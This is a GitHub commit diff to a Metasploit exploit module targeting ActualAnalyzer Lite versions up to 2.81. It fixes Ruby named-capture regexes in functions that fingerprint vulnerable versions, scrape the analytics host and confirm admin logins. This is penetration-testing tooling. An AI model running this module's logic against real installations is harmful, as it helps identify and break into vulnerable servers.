Skip to content

Commit 00f66b6

Browse files
committed
Correct named captures
1 parent 1e6bbc5 commit 00f66b6

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ def check
7979
if !res
8080
vprint_error("#{peer} - Connection failed")
8181
return Exploit::CheckCode::Unknown
82-
elsif res.code == 200 && res.body =~ /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/
82+
elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
8383
vprint_status("#{peer} - Found version: #{version}")
8484
return Exploit::CheckCode::Vulnerable if Gem::Version.new(version) <= Gem::Version.new('2.81')
8585
return Exploit::CheckCode::Detected
@@ -117,7 +117,7 @@ def get_analytics_host_view
117117
)
118118
if !res
119119
vprint_error("#{peer} - Connection failed")
120-
elsif res.body =~ /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/
120+
elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
121121
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
122122
return analytics_host
123123
else
@@ -138,7 +138,7 @@ def get_analytics_host_code
138138
)
139139
if !res
140140
vprint_error("#{peer} - Connection failed")
141-
elsif res.code == 200 && res.body =~ /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/
141+
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
142142
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
143143
return analytics_host
144144
else
@@ -177,7 +177,7 @@ def get_analytics_host_admin
177177
vprint_error("#{peer} - Connection failed")
178178
elsif res.code == 200 && res.body =~ />Login</
179179
vprint_status("#{peer} - Login failed.")
180-
elsif res.code == 200 && res.body =~ /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/
180+
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
181181
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
182182
print_good("#{peer} - Login successful! (#{user}:#{pass})")
183183
service_data = {

0 commit comments

Comments
 (0)